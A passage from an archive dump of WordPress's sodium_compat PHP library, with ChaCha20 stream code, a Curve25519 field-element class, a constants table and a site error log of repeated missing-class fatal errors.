            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  (int) $j0;
            $x1 =  (int) $j1;
            $x2 =  (int) $j2;
            $x3 =  (int) $j3;
            $x4 =  (int) $j4;
            $x5 =  (int) $j5;
            $x6 =  (int) $j6;
            $x7 =  (int) $j7;
            $x8 =  (int) $j8;
            $x9 =  (int) $j9;
            $x10 = (int) $j10;
            $x11 = (int) $j11;
            $x12 = (int) $j12;
            $x13 = (int) $j13;
            $x14 = (int) $j14;
            $x15 = (int) $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            /** @var int $x0 */
            $x0  = ($x0 & 0xffffffff) + $j0;
            /** @var int $x1 */
            $x1  = ($x1 & 0xffffffff) + $j1;
            /** @var int $x2 */
            $x2  = ($x2 & 0xffffffff) + $j2;
            /** @var int $x3 */
            $x3  = ($x3 & 0xffffffff) + $j3;
            /** @var int $x4 */
            $x4  = ($x4 & 0xffffffff) + $j4;
            /** @var int $x5 */
            $x5  = ($x5 & 0xffffffff) + $j5;
            /** @var int $x6 */
            $x6  = ($x6 & 0xffffffff) + $j6;
            /** @var int $x7 */
            $x7  = ($x7 & 0xffffffff) + $j7;
            /** @var int $x8 */
            $x8  = ($x8 & 0xffffffff) + $j8;
            /** @var int $x9 */
            $x9  = ($x9 & 0xffffffff) + $j9;
            /** @var int $x10 */
            $x10 = ($x10 & 0xffffffff) + $j10;
            /** @var int $x11 */
            $x11 = ($x11 & 0xffffffff) + $j11;
            /** @var int $x12 */
            $x12 = ($x12 & 0xffffffff) + $j12;
            /** @var int $x13 */
            $x13 = ($x13 & 0xffffffff) + $j13;
            /** @var int $x14 */
            $x14 = ($x14 & 0xffffffff) + $j14;
            /** @var int $x15 */
            $x15 = ($x15 & 0xffffffff) + $j15;

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  ^= self::load_4(self::substr($message, 0, 4));
            $x1  ^= self::load_4(self::substr($message, 4, 4));
            $x2  ^= self::load_4(self::substr($message, 8, 4));
            $x3  ^= self::load_4(self::substr($message, 12, 4));
            $x4  ^= self::load_4(self::substr($message, 16, 4));
            $x5  ^= self::load_4(self::substr($message, 20, 4));
            $x6  ^= self::load_4(self::substr($message, 24, 4));
            $x7  ^= self::load_4(self::substr($message, 28, 4));
            $x8  ^= self::load_4(self::substr($message, 32, 4));
            $x9  ^= self::load_4(self::substr($message, 36, 4));
            $x10 ^= self::load_4(self::substr($message, 40, 4));
            $x11 ^= self::load_4(self::substr($message, 44, 4));
            $x12 ^= self::load_4(self::substr($message, 48, 4));
            $x13 ^= self::load_4(self::substr($message, 52, 4));
            $x14 ^= self::load_4(self::substr($message, 56, 4));
            $x15 ^= self::load_4(self::substr($message, 60, 4));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            ++$j12;
            if ($j12 & 0xf0000000) {
                throw new SodiumException('Overflow');
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */
            $block = self::store32_le((int) ($x0  & 0xffffffff)) .
                 self::store32_le((int) ($x1  & 0xffffffff)) .
                 self::store32_le((int) ($x2  & 0xffffffff)) .
                 self::store32_le((int) ($x3  & 0xffffffff)) .
                 self::store32_le((int) ($x4  & 0xffffffff)) .
                 self::store32_le((int) ($x5  & 0xffffffff)) .
                 self::store32_le((int) ($x6  & 0xffffffff)) .
                 self::store32_le((int) ($x7  & 0xffffffff)) .
                 self::store32_le((int) ($x8  & 0xffffffff)) .
                 self::store32_le((int) ($x9  & 0xffffffff)) .
                 self::store32_le((int) ($x10 & 0xffffffff)) .
                 self::store32_le((int) ($x11 & 0xffffffff)) .
                 self::store32_le((int) ($x12 & 0xffffffff)) .
                 self::store32_le((int) ($x13 & 0xffffffff)) .
                 self::store32_le((int) ($x14 & 0xffffffff)) .
                 self::store32_le((int) ($x15 & 0xffffffff));

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
Core/Curve25519/Fe.php000064400000006021151024233030010161 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Fe', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var array<int, int>
     */
    protected $container = array();

    /**
     * @var int
     */
    protected $size = 10;

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     */
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        /** @var array<int, int> $keys */

        $obj = new ParagonIE_Sodium_Core_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int|null $offset
     * @param int $value
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return int
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        if (!isset($this->container[$offset])) {
            $this->container[$offset] = 0;
        }
        return (int) ($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        return array(implode(', ', $this->container));
    }
}
Core/Curve25519/error_log000064400000007140151024233030011036 0ustar00[28-Oct-2025 03:40:32 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[01-Nov-2025 19:39:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Nov-2025 11:41:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[03-Nov-2025 16:15:41 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[03-Nov-2025 16:16:15 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[04-Nov-2025 14:11:33 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[04-Nov-2025 14:12:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[04-Nov-2025 14:25:43 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[04-Nov-2025 14:39:30 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[05-Nov-2025 12:23:53 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
Core/Curve25519/README.md000064400000000332151024233030010374 0ustar00# Curve25519 Data Structures

These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h).
Core/Curve25519/H.php000064400000327571151024233030010036 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_H', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core_Curve25519_H extends ParagonIE_Sodium_Core_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int, int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737),
                array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
                array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746),
                array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
                array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672),
                array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686),
                array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665),
            ),
        ),
        array(
            array(
                array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182),
                array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277),
                array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628),
            ),
            array(
                array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474),
